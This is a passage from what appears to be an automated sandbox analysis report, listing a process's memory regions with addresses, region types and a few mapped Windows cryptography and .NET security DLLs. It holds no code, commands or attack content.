"private_0x00000000022a0000" filename = "" Region: id = 1157 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1158 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1159 start_va = 0x1aca0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 1160 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1161 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1162 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1163 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 1164 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1165 start_va = 0x1b220000 end_va = 0x1b22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 1166 start_va = 0x1b230000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b230000" filename = "" Region: id = 1167 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1168 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1169 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1170 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1171 start_va = 0x1aca0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 1172 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1173 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1174 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1175 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1176 start_va = 0x7ffb1c150000 end_va = 0x7ffb1c166fff monitored = 0 entry_point = 0x7ffb1c1579d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1177 start_va = 0x7ffb1bde0000 end_va = 0x7ffb1be13fff monitored = 0 entry_point = 0x7ffb1bdfae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1178 start_va = 0x7ffb1c270000 end_va = 0x7ffb1c27afff monitored = 0 entry_point = 0x7ffb1c2719a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1179 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1180 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1181 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1182 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1183 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1184 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1185 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1186 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1187 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1188 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1189 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1190 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1191 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1192 start_va = 0x1aca0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 1193 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1194 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1195 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1196 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1197 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1198 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1199 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1200 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1201 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1202 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1203 start_va = 0x1aca0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 1204 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1205 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1206 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1207 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1208 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1209 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1210 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1211 start_va = 0x1aca0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 1212 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1213 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1214 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1215 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1216 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1217 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1218 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1219 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1220 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1221 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1222 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1223 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1224 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1225 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1226 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1227 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1228 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1229 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1230 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1231 start_va = 0x1aca0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 1232 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1233 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1234 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1235 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1236 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1237 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1238 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1239 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1240 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1241 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1242 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1243 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1244 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1245 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1246 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1247 start_va = 0x1aca0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 1248 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1249 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1250 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1251 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 1252 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1253 start_va = 0x1b220000 end_va = 0x1b22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 1254 start_va = 0x1b230000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b230000" filename = "" Region: id = 1255 start_va = 0x1b240000 end_va = 0x1b25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 1256 start_va = 0x1b260000 end_va = 0x1b26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 1257 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1258 start_va = 0x2280000 end_va = 0x2280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002280000" filename = "" Region: id = 1259 start_va = 0x22a0000 end_va = 0x22b4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022a0000" filename = "" Region: id = 1260 start_va = 0x7ffaa2c90000 end_va = 0x7ffaa2c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c90000" filename = "" Region: id = 1261 start_va = 0x7ffb03270000 end_va = 0x7ffb0335cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\e629af2f8417209404342bf320b481bf\\System.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.security\\e629af2f8417209404342bf320b481bf\\system.security.ni.dll") Region: id = 1262 start_va = 0x7ffaa2ca0000 end_va = 0x7ffaa2caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2ca0000" filename = "" Region: id = 1263 start_va = 0x1ac90000 end_va = 0x1ac90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ac90000" filename = "" Region: id = 1264 start_va = 0x1aca0000 end_va = 0x1aca9fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001aca0000" filename = "" Region: id = 1265 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1266 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1267 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1268 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1269 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1270 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 1271 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1272 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1273 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1274 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1275 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1276 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1277 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1278 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1279 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1280 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1281 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1282 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1283 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1284 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1285 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1286 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1287 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1288 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 1289 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1290 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1291 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1292 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1293 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1294 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1295 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1296 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1297 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1298 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1299 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 1300 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1301 start_va = 0x1b220000 end_va = 0x1b22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 1302 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1303 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1304 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1305 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1306 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1307 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 1308 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1309 start_va = 0x1b220000 end_va = 0x1b22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 1310 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1311 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1312 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1313 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 1314 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1315 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1316 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1317 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1318 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1319 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1320 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1321 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1322 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1323 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1324 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1325 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1326 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1327 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 1328 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1329 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1330 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1331 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1332 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1333 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1334 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1335 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1336 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1337 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1338 start_va = 0x1acb0000 end_va = 0x1acc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001acb0000" filename = "" Region: id = 1339 start_va = 0x7ffaa2cb0000 end_va = 0x7ffaa2cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2cb0000" filename = "" Region: id = 1340 start_va = 0x7ffaa2cc0000 end_va = 0x7ffaa2ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2cc0000" filename = "" Region: id = 1341 start_va = 0x1acd0000 end_va = 0x1acd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001acd0000" filename = "" Region: id = 1342 start_va = 0x1b490000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1343 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 1344 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1345 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1346 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1347 start_va = 0x1b220000 end_va = 0x1b224fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b220000" filename = "" Region: id = 1348 start_va = 0x7ffaa2cd0000 end_va = 0x7ffaa2cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2cd0000" filename = "" Region: id = 1349 start_va = 0x1b230000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b230000" filename = "" Region: id = 1350 start_va = 0x1b230000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b230000" filename = "" Region: id = 